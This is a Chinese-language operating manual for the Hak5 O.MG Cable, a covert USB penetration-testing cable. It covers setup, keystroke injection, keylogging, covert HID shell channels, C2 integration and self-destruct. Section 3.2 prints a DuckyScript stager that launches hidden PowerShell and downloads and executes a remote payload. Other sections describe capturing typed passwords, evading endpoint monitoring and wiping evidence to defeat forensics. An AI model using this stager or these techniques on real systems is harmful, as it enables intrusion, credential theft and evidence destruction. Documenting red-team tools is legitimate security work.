跳到主要内容

Hak5 O.MG Cable 原廠技術說明書與全功能操作手冊

Hak5 O.MG Cable 是一款手工精製的高階實體滲透測試專用線纜。外觀與一般原廠充電傳輸線完全無異,內部卻隱蔽整合了完整的微控制器運算平台、802.11 Wi-Fi 無線電收發模組、DuckyScript 高速按鍵注入引擎、硬件級鍵盤嗅探器(Keylogger)與突破性的 HIDX StealthLink 雙向隱蔽通訊通道。


目錄​


1. 產品概述與硬件架構​

本章節深入剖析 Hak5 O.MG Cable 實體線纜的產品架構、微控制器技術細節與硬件基準真相表。

1.1 產品定位與威脅情境分析​

在傳統网络安全認知中,周邊充電線與傳輸線常被視為毫無運算能力的被動组件。然而,諸如美國國安局(NSA)早期的 COTTONMOUTH-I 等硬件植入技術證明,在線纜接頭內部植入微型晶片能達成前所未有的物理旁路入侵。

O.MG Cable 將高階國家級硬件植入技術平民化,具備極致的隱蔽性:

  • 實體外觀零瑕疵:採用工業級高壓注塑工藝,接頭長度、重量、線身柔韌度均與各大品牌原廠線纜一致,無任何可疑突起或粗糙外殼。
  • 資料線完全電氣透明:在未觸發载荷的待機狀態下,USB 資料傳輸線(D+/D-)保持純被動導通狀態,作業系統底層不會產生任何 USB 裝置枚舉(Enumeration)事件,徹底規避终端防護软件(EDR/MDM)之硬件監控。
  • 超長距無線空中觸發:內建 2.4 GHz Wi-Fi 晶片與微型射頻天線,紅隊測試員可在百公尺外透過智慧型手機或筆記型電腦遠端連線觸發攻擊。

1.2 技術規格與硬件校準基準表​

硬件規格細項原廠官方技術規格基準
設備架構隱蔽嵌合式微控制器 USB 滲透專用傳輸線
射頻模組整合式 802.11 b/g/n (2.4 GHz) Wi-Fi 無線電與微型 PCB 天線
工作電壓固定 5 V DC (+/- 0.5 V) 透過主機端 USB 接口供電
電流量消耗待機:~80–120 mA;尖峰發射:最高 350 mA;供電需求門檻:500 mA
資料透傳效能USB 2.0 高速 (480 Mbps) 全速透傳 (载荷閒置時完全透明導通)
電力透傳規範支持固定 5 V 充電透傳;USB-PD (Power Delivery) 協定最高協商至 5 V
接頭規格型號USB-A to USB-C、USB-C to USB-C、USB-A to Lightning、USB-C to Lightning
儲存磁區容量非揮發性快閃内存 (劃分為系統區、Web 控制台與载荷區)
载荷槽位數量Basic 基礎版:8 組槽位;Plus 與 Elite 進階版:最高支持 200 組槽位
嗅探緩衝内存Keylogger 版:內建約 650,000 次按鍵歷史紀錄之加密儲存空間
鍵盤硬件相容Full Speed 全速 USB 鍵盤 (相容 12 Mbps 標準 HID 通訊協定)
按鍵注入速率每分鐘最高 890 字 (WPM),支持硬件級 USB 超頻注入技術
雙向隱蔽通道HIDX StealthLink (利用標準 HID Report 實現雙向終端通道)
安全防護機制WPA2 無線加密、BSSID 地理圍欄 (Geofencing)、硬件等級緊急自毀

1.3 主動端與被動端之物理定向機制​

所有的 O.MG Cable 均具備嚴格的物理方向性:

  1. 主動端 (Active End):
    • 內含微控制器、Wi-Fi 模組與按鍵注入矩陣。
    • 必須連接至被測目標主機。
    • 所有的 DuckyScript 按鍵注入、HIDX 通道均由此端向目標電腦發送。
    • 燒錄固件時,亦必須將此主動端插入 O.MG Programmer。
  2. 被動/透傳端 (Passthrough End):
    • 用於連接一般周邊(如智慧型手機、實體鍵盤、鼠标或 USB U 盘)。
    • 負責將下游設備的資料與充電電力透明導通至主動端。

[!WARNING] 若將被動端插入目標電腦、主動端插入手機,手機將正常充電,但線纜將完全無法向目標電腦注入按鍵指令!

1.4 多元接頭規格與線纜型號識別​

  • Type-A to Type-C:Type-A 端為 Active End;Type-C 端為 Passthrough End。
  • Type-A to Lightning:Type-A 端為 Active End;Lightning 端為 Passthrough End。
  • Type-C to Lightning:Type-C 端為 Active End;Lightning 端為 Passthrough End。
  • Type-C to Type-C:由於雙向接頭外觀一致,Active 端接頭外殼雷雕有專屬標誌,或隨機附有識別夾;插入 O.MG Programmer 時,僅當 Active 端插入時指示燈才會點亮。

2. 硬件初始化、固件燒錄與网络連線​

本章節提供出廠激活、網頁序列燒錄以及 Wi-Fi 管理网络的完整操作步驟。

2.1 使用 O.MG Programmer 進行出廠激活​

為遵循各國無線電射頻輸出與出入口法規,所有 O.MG 設備出廠時均處於“未激活”的休眠狀態。

初次使用必須搭配 O.MG Programmer 進行激活:

  1. 確認 O.MG Cable 的主動端 (Active End)。
  2. 將主動端確實插入 O.MG Programmer 的母座。
  3. 將 O.MG Programmer 插入管理電腦的 USB 端口。
  4. 若使用 Windows 系統,請確保已安裝 Silicon Labs CP2102 虛擬 COM 埠驅動程式。

2.2 透過 O.MG Web Flasher 進行瀏覽器固件燒錄​

官方提供免安裝的 Chrome 網頁序列埠燒錄工具:

  1. 使用 Google Chrome、Brave 或 Edge 瀏覽器開啟:https://o-mg.github.io/WebFlasher/
  2. 点击畫面上的 Connect 按鈕。
  3. 在瀏覽器跳出的序列埠選單中選取 CP2102 USB to UART Bridge Controller。
  4. 依指示選取設備型號(O.MG Cable)與欲安裝之最新固件版本。
  5. 点击 Install Firmware,工具將自動完成清除 Flash、寫入系統分割區與校驗程序。
  6. 燒錄完成後,螢幕將顯示默认無線网络資訊:
    • 默认 SSID:O.MG
    • 默认密碼:12345678
    • 默认管理 IP:http://192.168.4.1

2.3 進階 Python Flasher 離線命令列燒錄​

對於機密隔離環境或批次自動化燒錄需求,可使用官方 Python 工具:

git clone https://github.com/O-MG/O.MG-Firmware.git
cd O.MG-Firmware
pip3 install esptool pyserial
python3 flasher.py

支持離線寫入預載载荷、客製化出廠 SSID 及 Flash 完整二進位備份。

2.4 建立 Wi-Fi 無線基地台連線​

  1. 將 O.MG Cable 主動端插入任何可供電之 5 V USB 端口(電腦或行動電源)。
  2. 在管理電腦或手機之 Wi-Fi 清單中搜尋 O.MG。
  3. 輸入密碼 12345678 進行配對。
  4. 連線建立後,終端設備將自動取得 192.168.4.x 網段 IP。

2.5 網頁管理控制台與用戶端模式配置​

在瀏覽器輸入 http://192.168.4.1 進入響應式 Web UI:

  • 即時觸發面板:單鍵執行預存於各槽位的按鍵注入腳本。
  • 線上記錄器:線上查看鍵盤嗅探日誌與系統除錯訊息。
  • 网络模式切換:可從 Access Point(AP 基地台模式)切換為 Station(Wi-Fi Client 用戶端模式),讓 O.MG Cable 主動連線至現場企業 Wi-Fi 或滲透人員的手機熱點。

3. 核心功能、按鍵注入與 DuckyScript 引擎​

本章節說明 DuckyScript for O.MG 的進階語法、鍵盤嗅探機能與磁區管理。

3.1 O.MG 载荷執行引擎與極速按鍵注入​

O.MG Cable 將指令轉換為底層 USB HID 鍵盤掃描碼直接送交目標作業系統,速度最高可達每分鐘 890 字,能瞬間於目標主機上彈出終端機並完成反向連線部署。

3.2 DuckyScript for O.MG 擴充語法與指令集​

相容標準 DuckyScript 語法,並加入 O.MG 專屬硬件控制指令:

  • BLINK <次數>:使機身隱藏之診斷 LED 閃爍特定次數。
  • WAIT_FOR_BUTTON_PRESS:暫停執行,直至操作者於 Web 接口点击確認。
  • GEOFENCE_CHECK:即時檢驗周邊環境 BSSID 是否符合授權範圍。
  • SELF_DESTRUCT:立即執行不可逆之硬件自毀。

實戰範例:無痕下載執行腳本​

REM O.MG Windows Quick Stager
DELAY 1500
GUI r
DELAY 300
STRING powershell -NoP -NonI -W Hidden -Exec Bypass“IEX(New-Object Net.WebClient).DownloadString('http://192.168.4.1/payload.ps1')”
ENTER

3.3 鍵盤嗅探器運作與即時擊鍵攔截 (Keylogger)​

針對配備 Keylogger 模組之版本:

  • 當下游插入實體鍵盤時,O.MG Cable 會以全速(Full Speed 12 Mbps)截獲所有打字数据包。
  • 內建非揮發性内存可儲存高達 650,000 次按鍵輸入,即便線纜斷電拔除,記錄依然完整保存。
  • 支持 Web UI 即時串流顯示,操作者可在遠端即時目擊目標輸入之帳號、密碼與機密對話。

3.4 磁區編輯器與载荷槽位彈性配置 (Partition Editor)​

內建圖形化 Partition Editor:

  • 自由調整系統 Flash 分配比例(分配更多空間給嗅探日誌或大型多階段载荷)。
  • 支持多達 200 組獨立载荷槽位,方便在不同攻擊目標之間迅速切換。

3.5 多語系鍵盤對應表檢視器 (Keymap Viewer)​

由於 USB 傳遞的是實體鍵盤按鍵碼(Scancodes),作業系統會依語系配置轉譯字符。內建 Keymap Viewer 支持美規、英規、德規、法規、日規等多國鍵盤對應,徹底避免因符號映射錯位導致語法執行失敗。


傳統 U 盘容易被企業网络安全政策全面封鎖,而出站网络連線亦常受防火牆阻擋。HIDX StealthLink 徹底突破此一僵局。

StealthLink 利用 USB 人機接口裝置(HID)規範中的標準 Feature Reports 数据包建立通訊:

  • 完全無需在目標電腦安裝特殊驅動程式。
  • 作業系統原生信任 HID 鍵盤與鼠标通訊,数据包不會觸發任何终端防護警報。
  • 建立一個完全獨立於主機网络卡之外的實體隱蔽雙向通道。

4.2 Windows PowerShell 互動式 Shell 與 TCP 外傳​

注入微型 PowerShell 通訊代码後,目標電腦會將本機 Shell 導向至 USB HID 终端。操作者在 O.MG 網頁端即可獲得一個完整的互動式 powershell.exe 控制台,並能雙向傳輸二進位檔案。

4.3 Linux 互動式 Shell 與原始資料導出​

在 Linux 主機上,StealthLink 透過 /dev/hidraw 節點進行通訊,建立無网络 Socket 連線的隱形 Bash 反彈終端。

4.4 macOS Python 互動式終端管道​

利用 macOS 內建之 POSIX 或 IOKit 接口,隱蔽開啟終端機管道,完全不在畫面上跳出視窗。

4.5 實務部署時序與优化建議​

Feature Report 每次以 64 位元組區塊進行分包傳輸,有效通訊速率介於 15 KB/s 至 60 KB/s 之間,足夠進行憑證導出、日誌提取與即時指令下發。


5. 雲端艦隊管理、防禦規避與系統維護​

本章節說明雲端整合、地理圍欄防禦與硬件自毀復原準則。

5.1 Hak5 Cloud C² 雲端集中管控整合​

將 O.MG Cable 配置為 Station 模式連上網際网络後,即可註冊至私有 Hak5 Cloud C² 服务器,實現跨國遠端觸發與資料即時彙總。

5.2 WebSocket API 自動化程式接口​

提供標準 WebSocket 接口(埠號 80/8080),支持以 Python、Go 或 Node.js 撰寫自動化外掛,與外部 C2 框架深度整合。

5.3 地理圍欄防禦與邊界失效保護 (Geofencing)​

可配置現場特定 Wi-Fi BSSID(基地台 MAC 位址)。若線纜被攜離目標企業大樓(偵測不到特定 MAC),設備將自動關閉無線發射並進入假死狀態,防止機敏工具外流。

5.4 緊急硬件自毀抹除機制 (Self-Destruct)​

在面臨實體查扣或网络安全搜查的極端情境下:

  • 操作者可透過 Web UI 或遠端指令發動 Self-Destruct。
  • 晶片將瞬間覆寫所有 Flash 儲存區、銷毀加密金鑰並切斷微控制器通訊,將設備永久還原為一條毫無攻擊能力的普通充電線,使鑑識實驗室無法還原任何數位證據。

5.5 晶片校準、故障排查與復原流程​

若因非預期斷電導致系統異常:

  1. 將主動端重新插入 O.MG Programmer。
  2. 進入 Web Flasher 執行完整 Erase & Flash 流程,即可復原出廠默认固件。